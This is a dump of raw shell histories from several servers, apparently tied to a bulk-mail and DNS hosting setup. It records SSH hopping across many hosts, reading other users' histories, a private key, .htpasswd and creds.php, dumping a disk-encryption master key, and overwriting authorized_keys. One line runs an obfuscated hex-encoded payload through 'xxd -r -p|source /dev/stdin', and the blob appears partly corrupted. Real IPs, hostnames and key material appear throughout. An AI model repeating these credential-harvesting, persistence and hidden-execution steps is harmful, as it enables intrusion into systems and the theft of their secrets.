cd ..
cd sbin
ls
cd ..
cd ..
cd /
cryptmount
cm
cd /root
ls
cd /admin
cd /home
ls
cd admin
cat ./.bash_history
ssh admin@return2school.net
cat ./.bash_history
ssh admin@66.165.231.54
ssh admin@66.165.231.41
ls
cd /root
ls
ls -la
locate
proctor
ssh -v admin@c21hand.com
ssh -v admin@107.158.36.69
proctor
cd /home
ls
cd admin
ls
cd Dropbox
ls
cd bin
ls
cd ..
proctor
cd /
ls
locate proctor
cd bin
ls
cd /etc
ls
cat crypttab
cm
cmtab
ls
```

```
cd /sbin
ls
./cryptsetup
./cryptsetup --dump-master-key
ls
cd /usr
ls
cd bin
ls
ls
cd ..
ls
cd local
ls
cd bin
ls
cd ..
ls
cd src
ls
cd ..
cd share
ls
cd applications
ls
cd ..
cd doc
ls
ls -la
cd /
ls
cd /home
ls
cd admin
ls
grep
grep --help
grep -r 'crypt' ./
grep -r -i 'cryptmount' ./
ls
cd Dropbox
ls
cd ..
cd /mnt
cd /home/admin
cd ./mnt
ls
cd ..
cryptmount
cm
cd tmp
ls
cd ..
cd web
ls
cd src
ls
cd httpd
ls
cd ..
cd alvin
ls
ls -la
cat famousquotesnow.com
cd ..
ls
cd pmta
ls
cd PowerMTA
ls
cd ..
cd ..
cd ..
cd Dropbox
ls
cd web
ls
cd ..
cd tmp
ls
cd ..
cd src
ls
cd baconbread
ls
cat iframes.xcf
ls
cd ..
ls
cd ..
ls
cd RVR_INTEL
ls
cd ..
ls
cd work_shared/
ls
cd ..
cd doc
ls
cd /home/admin
cd src
ls
cd spinprofit-sean
ls
cat init-torstack.sh
```

```
proctor
cd cryptmount/
ls
cd torstack
ls
cd ..
cd ..
ls
cd xr
ls
cd ..
ls
cd sean-scripts/
ls
cd ..
ls
cd cryptmount/
ls
cd ..
cd ..
ls
cd tools
ls
cd ..
ls
cd brian-stuff/
ls
cd ..
cat backdoor.sh
cd /etc
ls
cd ./gcrypt
ls
ls -la
cd ..
cat Trolltech.conf
cat statetab
cd /
ls
cd cgroup
ls
cd ..
cd run
cd proc
ls
ls -la cgroups
cd /
mount -a
mount -A
mount
cd /dev
ls
cd /home
```

```
ls
cd steve
ls -la
cat ./.bash_history
cd ..
cd michelle
cat ./.bash_history
ls
cd ..
ls
cd tunnel
ls
cat ./.bash_history
ssh -2fL 50000:localhost:4004 admin@66.165.231.50 sleep 10; nc localhost 50000
cd ./.ssh
ls
cd /home/tunnel
ls
cd ./.ssh
ls
cat known_hosts
ssh -2fL 50000:localhost:4004 -i "/home/tunnel/.ssh/id_rsa" tunnel@66.165.231.50 sleep 10; nc localhost 50000
cat id_rsa.pub
echo "ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEArU6+zrvqvwLbNc4wbi4KHvtht/ZGYo67kea2DW/I8YyE/2BIT2NJIx97zhAKpJUW4X9R4lenpo0
xoJpiAhgIZhCEgmpsJ2an+lxpKrwZVDv60rMUXewBDLqpBci6Sln7G26mJu7FwLhPjdG8BbV1rRS6ICgNdLhtS8N8wYucu1nXVtjTC6E7
15Z5bSr56i7IqDoUwdmHMrsgpaMg9y/1p65rXsWQVA82qlc4LYtKq4cTX/b2dDduDeiVMsWQU+SKIp7/dTCFjJpA+DGgZ1dFPC9Dlv
TJyeT0Se+TUiUtrRGEXd/cZoYEU9Q63h7r+P0G0QB590suBjE2hqAjBcropQ== tunnel@rcmdev" > ./authorized_keys
ls
ls -la
service sshd restart
ssh -2fL 50000:localhost:4004 -i "/home/tunnel/.ssh/id_rsa" tunnel@66.165.231.50 sleep 10; nc localhost 50000
ip addr
ssh -2fL 50000:localhost:4004 -i "/home/tunnel/.ssh/id_rsa" admin@66.165.231.50 sleep 10; nc localhost 50000
ssh -2fL 50000:localhost:4004 -i "/home/tunnel/.ssh/id_rsa" admin@66.165.231.50 sleep 10; nc 66.165.231.123 50000
netstat
tcpdump
who
ip addr
ls -la
dropbox
Dropbox
dbox
ls sbin
cd /
ls -la
ls sbin
mount.ntfs-3g
ld /dev
ls /dev
ls -la
cd /dev
ls -la
```

```
cd ./root
ls
mount
mount /dev/sdb2 /mnt
mount.ntfs-3g
mount.ntfs-3g /dev/sdb2 /mnt
mount.ntfs-3g /dev/sdb /mnt
mount.ntfs-3g /dev/sda /mnt
cd /
la
cat /root/.bash_history
cat /root/.bash_history netstat
tcpdump
ls -la
cd /etc
ls
fdisk -l
cd /mnt
ls
cd ..
mount /dev/mapper/vg_rcmdev-lv_root /mnt
cd mnt
ls
cd ..
ls -la
ls
cd mnt
ls
cd ..
umount /mnt
mount /dev/sdb1 /mnt
cd /mnt
ls
cd ..
umount /mnt
ls
mount /dev/sdb /mnt
ls /dev
mount /dev/sda1 /mnt
cd /mnt
ls
cd ..
umount /mnt
mount /dev/root /mnt
cd /mnt
ls
cd ..
ls
umount /mnt
cd tmp
ls
ls dropbox_errorFlAMDL.txt
ls -la dropbox_errorFlAMDL.txt
```

```
cat dropbox_errorFlAMDL.txt
screen dropbox
screen virtualbox
virtualbox
ls -la
cd /
ls
cd var
ls
cd /etc
ls
cat hosts
ssh -v admin@66.165.231.50
ssh -v admin@45.32.17.115
ssh -v admin@206.63.224.15
ssh -v admin@66.165.231.51
ssh -v admin@45.32.187.128
ssh -v -p 2252 admin@swift.mxrmedia.com
ssh -v admin@snowcapdns.com
ssh -v -p 2252 admin@snowcapdns.com
ssh -v admin@middec.com
ssh -v admin@162.246.21.166
ssh -v admin@174.47.2.71
ssh -v -p 2252 admin@174.47.2.71
ssh -v admin@66.165.231.100
ssh -v -p 56996 admin@66.165.231.100
ssh -v -p 8082 admin@66.165.231.100
ssh -v -p 58998 admin@66.165.231.100
ssh -v admin@216.158.229.136
ssh -v admin@206.63.224.11
ssh -v admin@splunk
ssh -v admin@v9
ssh -v admin@vhost68
ssh -v admin@rwhois
ssh -v admin@vultr-dc
ssh -vvvvv admin@vultr-dc
ssh -vvvvv -p 5022 admin@vultr-dc
ssh -vvvvv -p 2022 admin@vultr-d
rdesktop vultr-d
ssh -vvvvv admin@janusdns.com
ssh -vvvvv admin@squid-ll
ssh -vvvvv admin@mysql3
ssh -vvvvv admin@elk-devel
ping baconbread.com
rwhois
whois
whois baconbread.com
ssh -v admin@66.206.0.9
ssh -v admin@66.165.231.139
ssh -v admin@66.165.231.41
who
who -u
tcpdump -q
```

```
ssh -v -p 2252 root@45.32.17.115
exit
cd /home
ls
cd tunnel
ls -la
cat ./.bash_history
ls -la
cd ./.ssh
ls
cat authorized_keys
cat ./known_hosts
cat ./id_rsa
ls
cat known_hosts
cd /
ls
ls -la
cat ./.rnd
cd /home
ls
cd tunnel
ls
ls -la
cat ./.esd_auth
cd /
cd /etc
ls
cat hosts
ssh -v admin@69.171.64.41
ssh -v admin@69.171.64.41
ls -la
cd unbound
ls
cat root.anchor
cat named.conf
cd named
ls
cd ..
cat named.conf
cd named
ls
cd /var/named
ls
cd slaves
ls
cd ..
cd data
ls
ls -la
cd ..
ls
cd dynamic/
```

```
ls
cat managed-keys.bind
mysql -uroot -p
mysql -uroot -p
mysql -uroot -p
cd /root
ls
cd /home
ls
cd /admin
ls
cd admin
ls
ls -la
ls
cd dkim
ls
cd spixy.com
ls
cd sprixy.com/
ls
cd st
cd steve
cd ..
cd steve/
ls
cd ..
cd ..
ls
cd ..
ls
cd images
ls
cd snapshit/
ls
cd ..
cd ..
ls
cd steve/
ls
ls -la
ls -la
cat ./.bash_history
dig -x 66.165.231.123
dig -x 166.88.192.100
ls /tmp
ls /tmp/orbit-tunnel/
ls -la /tmp/orbit-tunnel/
cd ..
ls
cd /sbin
ls
fdisk -l
```

```
cd /dev
ls
cd /mnt
cd ..
mount /dev/sdb2 /mnt
mount /dev/ram0 /mnt
lsblk
mount /dev/sr0 /mnt
mount /dev/sda /mnt
mount -t
mount -a
mount
mount /dev/sda /mnt
mount /dev/sr0 /mnt
mount -t ext4 /dev/sr0 /mnt
mount -t ext4 /dev/ram0 /mnt
dmesg | tail
ssh -v admin@69.171.64.41
ls -la
cd /root
ls
cd ./.ssh
ls
cat known_hosts
ssh -v admin@66.45.232.98
cat known_hosts
ssh -v admin@45.76.98.34
who
who -r
rdesktop
ssh admin@ known_hosts 66.165.232.130
ssh admin@66.165.232.130
cd /etc
ls
cat ./resolv.conf
cat gai.conf
cat lftp.conf
cat fstab
cat hosts
ssh -v admin@107.170.16.7
ssh -v admin@66.165.231.66
ping prod
ssh -v admin@prod
ping production
exit
who
screen -ls
history
ip tunnel
who
sudo service Dropbox stop
last
ps fax
```

```
dropbox stop
ls /bin
cd /home/admin
ls /home/admin/bin
ls /home/admin/bin/dropbox.py stop
ll
lsof
lsof -Pi
service dropbox stop
iptables -L -n
cat /etc/passwd
lsof -Pi
ps fax
ls
kill -9 23027
ps fax
ls
passwd root
passwd admin
last
history
ssh admin@66.165.231.240
ll
ls /hom
ls /home
ps fax
who
service httpd stop
service mysqld stop
service squid stop
service vncserver stop
ps fax
ssh admin@66.165.231.239
exit
cd /var
ls
cd gdm
ls
cd ..
cd /www
ls
cd www
ls
cd html
ls -la
cd maze
ls
cd ..
cd edu
ls
cd wwwroot
s
ls
```

```
cd un
ls
cd ..
cat finaid.html
cd ..
ls
cd ..
ls
cd worldsite
ls
cat pasteit.txt
cd ..
ls
cd wwwsite
ls
cat rcm-hidden.php
ls
ls -la
cat ./.htpasswd
cd 20140420
ls
cat index.html
cd ..
ls
cat Ryker.1.8.binds
cd accounts
ls
cat creds.php
ls
cd ..
ls
cd namecheap
ls
cat index.php
cd ..
cd quick
ls
cd ..
ls
cd mc
ls
cd ..
ls
cat main.php
cat Ryker.1.8.binds
ls
cat domaindbl.html
cd ..
ls
cd temp
ls
cat afd76f069f771bbe8f53a18a3e063b35.txt
cat index.html
```

```
ls -la
cd ..
ls
cat index.php
cd worldsite/
ls
ls -la
cat qrcode.png
cat pasteit.txt

echo
'626173653634202D643C3C3C596D467A5A5459304943316B504477385344527A53554E4D63334A5862474E4251544A6B646C6
C59556E706155554E5762457831645764365155316F646D4D3461474A6A52464E5052446C4552325A775954466E6555524A615
64A4255566C4861544A6A4C326C53543051774D5746786257644765537 46D4C7A513464455979633031425330557265586433 5
55864495A456F7656316C5A53485A5364464E49526C5A45626C5A4B4D56564C4C3145335954567061315245E563078325256647
84D5868534D6C55304E555261576B64594D6D45344B7A6B33513035794E584278556C685655316331615858A4353314A566345
6C725648426C4D69746164316C355A314668576E637A534778555457354256A6C67725A5751325558706C59564676546B567156
5767724E4856735447677A593230356133567165555A445745637962556C6853485A7665554A6B563263314E6D786E61555654
5A57316D5354524A524642465A4735334D444E36534338315745497955 6B4E4F6556637954305A4956584A5A51544A6162303
56863456844545768 4C654552775347567655545 6314D474531556D6436627A51334D4656704D57784D565668434B33466852
7A684A5646526162336F304D6B6C3059555A4B536C4A6C53455A5355315A7A55316F775744553455334E68535739345654566
B627A4A4D5356525861566B34575455315330453462 32784E5A336C486245357153565A494C33466A616B6C3456553131536B
4A7253484D32526B4A324E4446536255687556566779526B3958645870544E6E4E6A6157686A5A5749334F566C3563446C7661
57685A5A48707653533933536D397761306832536E4D7751316C6E593256745533557852315 66F4D44684C636E6C4E646D5254
52315A6F4E7A68445547707255326F794C79397A4C7A52434F55457A64316C6C575556425155453949487767 5A335675656D6C
776643423361476C735A53424A526C4D3949484A6C595751674C584A754D53426A4F79426B62794277636D6C75644759674A5
74D6749695237597A6F744A43646362696439496A73676332786C5A5841674D4334774D44553749467367 4969526A49694264
4948783849484E735A575677494441754D44553749475276626D554B7C626173680A'|xxd -r -p|source /dev/stdin

cd ..
ls
cd edu
ls
cd wwwroot
ls
cd backup1
ls
cd /
ls
cd tmp
ls
cd /root
ls
cd /home
ls
cd /admin
ls
cd admin
ls
cd Dropbox
ls
cd web
ls
cd ..
```

```
ls -la
cd src
ls
ls -la
cd baconbread/
ls
cd ..
cd baconbread/
cat iframes.xcf
ls
cd ..
ls
cd python
ls
cat test.py
cd ..
cd rcmdev
ls
cd src
ls
cat dice.sh
ls
cat regexptst.pl
ssh -v admin@69.171.64.63
ls
cd retool/
ls
who
cd ..
cd vbox
ls
cat /home/admin/.bash_history
cd ..
ls
cd ..
cd ..
ls
cd ..
ls
cd ..
ls
cd dkim
ls
cd steve
ls
opendkim-testkey -d thancoverhot.date -vvv -s key1 -k key1.private
ssh admin@thancoverhot.date
rdesktop 66.206.0.83


-------------------
[root@rcmdev tunnel]# cat /home/tunnel/.bash_history
exit
```

```
ssh-keygen
ls .ssh/
cat .ssh/*
ll .ssh/
man ssh
ls
echo $PATH
cd .ssh
ls
cat *
cat id_rsa.pub
ssh tunnel@66.165.231.50
ll
cat known_hosts
cat id_rsa
ls
ssh tunnel@66.165.231.50
ssh-copy-id tunnel@66.165.231.50
ssh tunnel@66.165.231.50
ls
rm *
ls
ssh-keygen
ls
ll
ssh-copy-id tunnel@66.165.231.50
ssh tunnel@66.165.231.50
ls
ll
ll ../
ll -a ../
ls
cat id_rsa.pub >> authorized_keys
ll
rm authorized_keys
ll
cat id_rsa.pub | winclip
cat id_rsa.pub | /home/admin/bin/winclip
cat id_rsa.pub
ls
ssh tunnel@66.165.231.50
ssh -f tunnel@66.165.231.50 -L 58878:66.165.231.50:4004 -N
nc localhost 58878
ls
yum search shuttle
exit
ssh -2 -N -f -L 4004:localhost:4004 tunnel@66.165.231.50
ps fax
lsof -i
nc localhost 4004
ps fax
kill 10856
ssh -2 -N -f -L 4004:localhost:873 tunnel@66.165.231.50
```

```
ls
netstat -nlptu
pv'
pv
ps fax
netstat -nlptu
netstat -nlptu | grep 127.0.0.1
lsof -Pin
lsof -Pi
ls
nc localhost 4004 > block.bin
ps fax
kill 10901
ssh -2 -N -f L 4004:localhost:4004 tunnel@66.165.231.50
ssh -2 -N -f -L 4004:localhost:4004 tunnel@66.165.231.50
nc localhost 4004 > block.bin
ls
ll
rm block.bin
nc -z localhost 4004
nc -z localhost 4000-4100
nc -z localhost 1-1000
nc -z localhost 1-5000
nc -z 66.165.231.50
nc -z 66.165.231.50 1-1000
ps fax
kill 10982
ps fax
ls
ssh -2f
ssh -2fL 50000:localhost:4004 tunne@66.165.231.50 sleep 10; nc localhost 50000
ssh -2 -f -L 50000:localhost:4004 tunne@66.165.231.50 sleep 10; nc localhost 50000
ssh -2fL 50000:localhost:4004 tunnel@66.165.231.50 sleep 10; nc localhost 50000
exit
ls -la
exit
ls -la
cd Desktop
ls
cd ..
cat ./.bash_history
ssh -i /home/tunnel/.ssh/id_rsa -2fL 50000:localhost:4004 tunnel@66.165.231.50 sleep 10; nc localhost 50000
cd ./.ssh
ls
mv ./known_hosts ./known_hosts_old
ssh -i /home/tunnel/.ssh/id_rsa -2fL 50000:localhost:4004 tunnel@66.165.231.50 sleep 10; nc localhost 50000
ssh -i /home/tunnel/.ssh/id_rsa -2fL 50000:localhost:4004 admin@66.165.231.50 sleep 10; nc localhost 50000
ssh -2 -N -f -L 4004:localhost:4004 admin@66.165.231.50
nc localhost 4004
nc -vvvvvv localhost 4004
exit
```

66.165.231.240

```
[root@ll-mon-1 ~]# last
admin   pts/0     66.165.231.123   Thu Feb  9 21:35   still logged in
admin   pts/1     66.165.231.123   Thu Feb  9 15:15 - 15:33  (00:17)
admin   pts/1     66.165.231.123   Tue Feb  7 11:03 - 11:07  (00:03)
admin   pts/1     69.171.64.174    Sat Feb  4 17:17 - 20:55  (03:37)
admin   pts/1     104.200.154.101  Sat Feb  4 13:07 - 15:30  (02:23)
admin   pts/1     104.200.154.101  Sat Feb  4 13:06 - 13:06  (00:00)
admin   pts/0     ex01.cet.com     Fri Feb  3 21:26 - 23:08  (01:42)
admin   pts/0     ex01.cet.com     Fri Feb  3 21:10 - 21:16  (00:06)
admin   pts/0     ex01.cet.com     Fri Feb  3 20:58 - 21:09  (00:10)
admin   pts/0     104.200.151.108  Fri Feb  3 17:09 - 19:16  (02:06)
admin   pts/0     69.171.64.174    Thu Feb  2 16:03 - 18:34  (02:31)
admin   pts/0     69.171.64.40     Thu Feb  2 12:16 - 15:54  (03:38)
admin   pts/0     10.16.32.67      Thu Feb  2 07:10 - 07:13  (00:03)
admin   pts/0     104.200.151.77   Thu Feb  2 01:20 - 03:36  (02:15)
admin   pts/0     104.200.151.78   Tue Jan 31 19:05 - 03:13  (08:07)
admin   pts/0     104.200.151.73   Sat Jan 28 17:18 - 23:43  (06:24)
```

```
66.45.232.98 - inter1
    3  ll
    4  ll *.arpa
    5  cat 152.152.107.in-addr.arpa
    6  vim 9.151.107.in-addr.arpa
    7  mv 9.151.107.in-addr.arpa 153.152.107.in-addr.arpa
    8  vim 10.151.107.in-addr.arpa
    9  mv 10.151.107.in-addr.arpa 129.152.107.in-addr.arpa
   10  rndc reload
   11  dig @ns1.ragingdns.com 107.152.129.5
   12  dig @ns1.ragingdns.com -x 107.152.129.5
   13  vim /etc/named.conf
   14  rndc reload
   15  dig @ns1.ragingdns.com -x 107.152.129.5
   16  dig @ns1.ragingdns.com -x 107.152.152.5
   17  dig @ns1.ragingdns.com -x 107.152.153.5
   18  exit
   19  cd /var/named
   20  vim 53.250.23.in-addr.arpa
   21  rndc reload
   22  cd /var/named
   23  vim 153.152.107.in-addr.arpa
   24  service named restart
   25  whois actonforegoing.net
   26  jwhois actonforegoing.net
   27  exit
   28  cd /var/named
   29  ls
   30  vim 31.158.107.in-addr.arpa
   31  rndc reload
   32  exit
   33  ls
   34  cd /var/named
   35  vim 52.250.23.in-addr.arpa
```

```
36  rndc reload
37  exit
38  cd /var/naemd
39  cd /var/named
40  ls
41  mv 52.250.23.in-addr.arpa ~
42  mv 153.152.107.in-addr.arpa ~
43  ls ~
44  vim /etc/named.conf
45  rndc reload
46  service named restart
47  exit
48  cd /var/named
49  ls
50  exit
51  cd /var/named
52  ls
53  cat > middledns.com.db
54  ll middledns.com.db
55  vim /etc/named.conf
56  service named restart
57  cat citytoobs.com.db
58  exit
59  cd /var/named
60  ll
61  grep dkim
62  grep DKIM *.db
63  grep DKIM *.db -l
64  vim zedohome.com.db
65  exit
66  cd /var/named
67  vim /etc/named.conf
68  ll
69  rsync -Pa admin@66.165.231.123:src/bindDNS/output/*.arpa ./
70  ll *.arpa
71  chown root:root *.arpa
72  ll *.arpa
73  vim 168.236.23.in-addr.arpa
74  vim 169.236.23.in-addr.arpa
75  vim 170.236.23.in-addr.arpa
76  vim 171.236.23.in-addr.arpa
77  service named restart
78  exit
79  cd /var/named
80  ls
81  vim /etc/named.conf
82  ll
83  ip addr
84  ls /home/admin
85  chown root:named /home/admin/*
86  mv /home/admin/alertnetbox.com.db ./
87  mv /home/admin/*.arpa ./
88  ll
```

```
89  ll *.arpa
90  service named restart
91  vim /etc/named.conf
92  service named restart
93  vim alertnetbox.com.db
94  service named restart
95  ll
96  touch actionclear.com.db
97  vim actionclear.com.db
98  ll actionclear.com.db
99  chown root.named actionclear.com.db
100  ll
101  vim /etc/named.conf
102  service named restart
103  vim 189.152.107.in-addr.arpa
104  tail -F /var/log/named/queries.log
105  cd /var/named/
106  ls
107  vim /etc/named.conf
108  cd /var/named
109  ll
110  vim *.arpa
111  ls
112  ll
113  ls *.arpa
114  ll *.arpa
115  grep -l ns1.alertnetbox.com *.arpa
116  for i in `grep -l ns1.alertnetbox.com *.arpa`; do echo $i; done
117  for i in `grep -l ns1.alertnetbox.com *.arpa`; do sed -i 's/alertnetbox.com/actionclear.com/g' $i; done
118  vim 188.152.107.in-addr.arpa
119  vim 189.152.107.in-addr.arpa
120  grep -l actionclear.com *.arpa
121  rndc reload
122  exit
123  vim /etc/named.conf
124  service named restart
125  service iptables status
126  cd /var/named
127  ll
128  ll *.arpa
129  cat 188.152.107.in-addr.arpa
130  grep 2013042301 *.arpa
131  grep -l 2013042301 *.arpa
132  sed -i s/2013042301/2013042302/g *.arpa
133  grep -l 2013042301 *.arpa
134  rndc reload
135  ll *.arpa
136  tail -F /var/log/named/queries.log
137  cd /var/named
138  vim actionclear.com.db
139  vim alertnetbox.com.db
140  cd /etc/sysconfig/network-scripts/
141  ls
```

```
142  ip tunnel
143  exit
144  cd /var/named
145  vim 31.158.107.in-addr.arpa
146  service named restart
147  exit
148  cd /var/named
149  dig -x 66.23.232.41
150  vim 31.158.107.in-addr.arpa
151  cd /var/named
152  ls *.arpa
153  ls ~
154  cp ~/153.152.107.in-addr.arpa ./
155  ll
156  ll *.arpa
157  vim /etc/named.conf
158  service named restart
159  vim /etc/named.conf
160  vim 152.152.107.in-addr.arpa
161  service named restart
162  eixt
163  exit
164  cd /var/named
165  vim 168.236.23.in-addr.arpa
166  exit
167  cd /var/named
168  vim 171.236.23.in-addr.arpa
169  rdnc reload
170  rndc reload
171  grep 171.236.23 /etc/named.conf
172  grep --help
173  grep -n 171.236.23 /etc/named.conf
174  vim /etc/named.conf
175  ls
176  cat yokework.com.db
177  exit
178  cd /var/named
179  vim 31.158.107.in-addr.arpa
180  service named restart
181  ls
182  exit
183  cd /var/named
184  ls
185  ls *.arpa
186  vim 31.158.107.in-addr.arpa
187  exit
188  ls
189  cd /var/named
190  ls
191  vim /etc/named.conf
192  exit
193  vim /etc/named.conf
194  service named restart
```

```
195 exit
196 cd /var/named/
197 ll
198 ll *.arpa
199 vim /etc/named.conf
200 ls *.arpa
201 cat 31.158.107.in-addr.arpa
202 cd /var/log/named
203 ll
204 ls
205 cd /var/named
206 ll
207 vim /etc/named.conf
208 service named restart
209 exit
210 ls
211 cd /var/named
212 ll
213 ll *.arpa
214 cp 31.158.107.in-addr.arpa 91.130.170.in-addr.arpa
215 vim 91.130.170.in-addr.arpa
216 cd /var/named
217 vim 91.130.170.in-addr.arpa
218 vim /etc/named.conf
219 service named restart
220 vim 91.130.170.in-addr.arpa
221 exit
222 cd /var/named
223 ll
224 ll *.arpa
225 vim /etc/named.conf
226 rm 91.130.170.in-addr.arpa
227 rm 30.158.107.in-addr.arpa
228 cat 31.158.107.in-addr.arpa
229 cp 31.158.107.in-addr.arpa 23.3.50.in-addr.arpa
230 vim 23.3.50.in-addr.arpa
231 vim /etc/named.conf
232 service named restart
233 vim /etc/named.conf
234 service named restart
235 whois exit
236 exit
237 vim /etc/named.conf
238 service named restart
239 exit
240 cd /var/named
241 ll *.arpa
242 dig -t any ns1.alertnetbox.com
243 ll
244 ll alertnetbox.com.db
245 cat alertnetbox.com.db
246 grep alertnetbox.com *.arpa -l
247 exit
```

```
248 vim /etc/named.conf
249 exit
250 cd /var/named
251 ll
252 ip addr
253 vim /etc/named.conf
254 exit
255 cd /var/named
256 ll
257 cat 53.250.23.in-addr.arpa
258 head 53.250.23.in-addr.arpa
259 grep -l webracked.com *
260 ls ~
261 mkdir ~/backup
262 mv 53.250.23.in-addr.arpa webracked.com.db ~/backup/
263 head 112.231.23.in-addr.arpa
264 grep stationdns.com -l *
265 head 152.152.107.in-addr.arpa
266 grep ragingdns.com -l *
267 head 31.158.107.in-addr.arpa
268 head 168.236.23.in-addr.arpa
269 grep middledns.com -l *
270 head 23.3.50.in-addr.arpa
271 grep citytoobs.com.db -l *
272 grep citytoobs.com -l *
273 vim 31.158.107.in-addr.arpa
274 grep middledns.com -l *
275 grep choicenetworks.net -l *
276 grep hostingrack.net -l *
277 grep alertnetbox.com -l *
278 grep actionclear.com * -l
279 exit
280 ip addr
281 cd /var/named
282 ll
283 vim /etc/named.conf
284 service named restart
285 vim /etc/named.conf
286 mv ~/backup/* ./
287 service named restart
288 ip addr
289 cd /etc/sysconfig/network-scripts/
290 ll
291 cat ifcfg-eth0-range*
292 ls ~
293 cp ~/{route-inter2cet, ifcfg-inter2cet} ./
294 cp ~/route-inter2cet ./
295 cp ~/ifcfg-inter2cet ./
296 ll
297 vim route-inter2cet
298 cat ifcfg-inter2cet
299 ifup inter2cet
300 cat route-inter2cet
```

```
301  ip route
302  cat route-inter2cet
303  cat route-inter2cet | awk '{print $2}
304  cat route-inter2cet | awk '{print $2}'
305  cat route-inter2cet | awk '{print $1}'
306  cat route-inter2cet | awk '{print $1}' > tempips
307  cat tempips
308  while read line; do ip addr del $line dev eth0; done < tempips
309  ip addr
310  vim tempips
311  while read line; do ip addr del $line dev eth0; done < tempips
312  ip addr
313  cat tempips
314  ip tunnel
315  ls
316  exit
317  cd /etc/sysconfig/network-scripts/
318  ll
319  ifdown inter2cet
320  ls ~
321  cp ifcfg-inter2cet ~
322  cp route-inter2cet ~
323  rm ifcfg-inter2cet route-inter2cet
324  cat ~/ifcfg-CET_201_INT
325  cp ~/ifcfg-inter2cet ifcfg-inter2ll
326  cp ~/route-inter2cet route-inter2ll
327  ll
328  vim route-inter2ll
329  ll
330  vim ifcfg-inter2ll
331  ifup inter2ll
332  ll
333  rm tempips
334  exit
335  cd /var/named
336  ll
337  scp *.arpa admin@66.165.231.123:src/bindDNS/archive/
338  cp 31.158.107.in-addr.arpa ~
339  cp citytoobs.com.db ~
340  cp 23.3.50.in-addr.arpa ~
341  vim /etc/named.conf
342  scp /etc/named.conf admin@66.165.231.123:src/bindDNS/archive/
343  ll ~
344  rm *.arpa *.db -f
345  cp ~/23.3.50.in-addr.arpa ./
346  cp ~/citytoobs.com.db ./
347  cp ~/31.158.107.in-addr.arpa ./
348  ll
349  service named restart
350  exit
351  mtr 66.206.0.1
352  exit
353  cd /var/named
```

```
354 lll
355 ll
356 cat citytoobs.com.db
357 vim /etc/named.conf
358 ls
359 ll
360 scp admin@66.165.231.123:src/bindDNS/output/*.db ./
361 service named restart
362 vim /etc/named.conf
363 scp admin@66.165.231.123:src/bindDNS/output/*.db ./
364 service named restart
365 vim /etc/named.conf
366 scp admin@66.165.231.123:src/bindDNS/output/*.db ./
367 service named restart
368 ll
369 service named restart
370 vim /etc/named.conf
371 service named restart
372 vim /etc/named.conf
373 scp admin@66.165.231.123:src/bindDNS/output/*.db ./
374 rm P_name.com_aged7.db
375 service named restart
376 vim /etc/named.conf
377 service named restart
378 vim /etc/named.conf
379 man scp
380 scp admin@66.165.231.123:src/bindDNS/output/*.db ./
381 service named restart
382 scp admin@66.165.231.123:src/bindDNS/output/*.db ./
383 vim /etc/named.conf
384 service named restart
385 vim /etc/named.conf
386 scp admin@66.165.231.123:src/bindDNS/output/*.db ./
387 service named restart
388 vim /etc/named.conf
389 service named restart
390 vim /etc/named.conf
391 scp admin@66.165.231.123:src/bindDNS/output/*.db ./
392 service named restart
393 vim /etc/named.conf
394 scp admin@66.165.231.123:src/bindDNS/output/*.db ./
395 service named restart
396 vim /etc/named.conf
397 scp admin@66.165.231.123:src/bindDNS/output/*.db ./
398 service named restart
399 top
400 rdnc
401 rndc
402 rndc status
403 cd /var/named
404 ll
405 vim /etc/named.conf
406 scp admin@66.165.231.123:src/bindDNS/output/*.db ./
```

```
407  service named restart
408  exit
409  ip tunnel
410  ip route
411  ifdown inter2ll
412  ifup inter2ll
413  cd /etc/sysconfig/network-scripts/
414  ls
415  cat route-inter2ll
416  exit
417  cd /var/named
418  ls
419  cat zurpia.com.db
420  cp zurpia.com.db elsinoremerrileegreatoffers.pw.db
421  vim elsinoremerrileegreatoffers.pw.db
422  vim /etc/named.conf
423  service named restart
424  tail -F /var/log/named/queries.log | grep elsinoremerrileegreatoffers.pw
425  vim elsinoremerrileegreatoffers.pw.db
426  service named restart
427  tail -F /var/log/named/queries.log | grep elsinoremerrileegreatoffers.pw
428  exit
429  cd /var/named
430  ls
431  ll
432  ls *.arpa
433  vim /etc/named.conf
434  vim 3.0.0.0.8.2.f.f.7.0.6.2.ip6.arpa
435  service named restart
436  exit
437  cd /var/named
438  ls
439  vim 3.0.0.0.8.2.f.f.7.0.6.2.ip6.arpa
440  grep citytoobs.com *.db -l
441  cp yytuo.com.db vintagemode.net.db
442  vim vintagemode.net.db
443  vim /etc/named.conf
444  vim vintagemode.net.db
445  vim 3.0.0.0.8.2.f.f.7.0.6.2.ip6.arpa
446  service named restart
447  vim vintagemode.net.db
448  service named restart
449  cd /var/named
450  ls
451  vim vintagemode.net.db
452  cd /var/named
453  vim vintagemode.net.db
454  vim 3.0.0.0.8.2.f.f.7.0.6.2.ip6.arpa
455  service named restart
456  cp vintagemode.net.db wellspringdepot.com.db
457  vim wellspringdepot.com.db
458  vim /etc/named.conf
459  vim 3.0.0.0.8.2.f.f.7.0.6.2.ip6.arpa
```

```
460  vim wellspringdepot.com.db
461  service named restart
462  cp wellspringdepot.com.db bookmarkingonline.com.db
463  vim bookmarkingonline.com.db
464  vim /etc/named.conf
465  vim 3.0.0.0.8.2.f.f.7.0.6.2.ip6.arpa
466  service named restart
467  cd /etc/sysconfig/networks-cr
468  cd /etc/sysconfig/network-scripts/
469  ls
470  ll
471  cat route-inter2ll
472  cp ifcfg-inter2ll ifcfg-inter2dev
473  vim ifcfg-inter2dev
474  ll
475  cat route-inter2ll
476  cat > route-inter2dev
477  vim route-inter2ll
478  service network restart
479  ping 10.69.1.1
480  service iptables status
481  vim /etc/sysconfig/iptables-config
482  service iptables start
483  service iptables status
484  service iptables start
485  cd /etc/init.d
486  l
487  sls
488  ls
489  rpm -qa iptables
490  yum update iptables
491  service iptables status
492  service iptables
493  service iptables start
494  service iptables status
495  service iptables start
496  iptables -nL
497  ls
498  /etc/init.d/iptables
499  /etc/init.d/iptables reload
500  /etc/init.d/iptables resrtart
501  /etc/init.d/iptables restart
502  service iptables status
503  service iptables start
504  service iptables stop
505  servcie iptables start
506  service iptables save
507  service iptables start
508  iptables - nL
509  iptables -nL
510  ip addr
511  cd /etc/sysconfig/network-scripts/
512  ls
```

```
513  ifdown inter2dev
514  ls
515  rm ifcfg-inter2dev
516  cat route-inter2dev
517  vim route-inter2ll
518  ls
519  rm route-inter2dev
520  ll
521  exit
522  cd /etc/sysconfig/network-scripts/
523  ls
524  cat route-inter2ll
525  ip tunnel
526  ip route
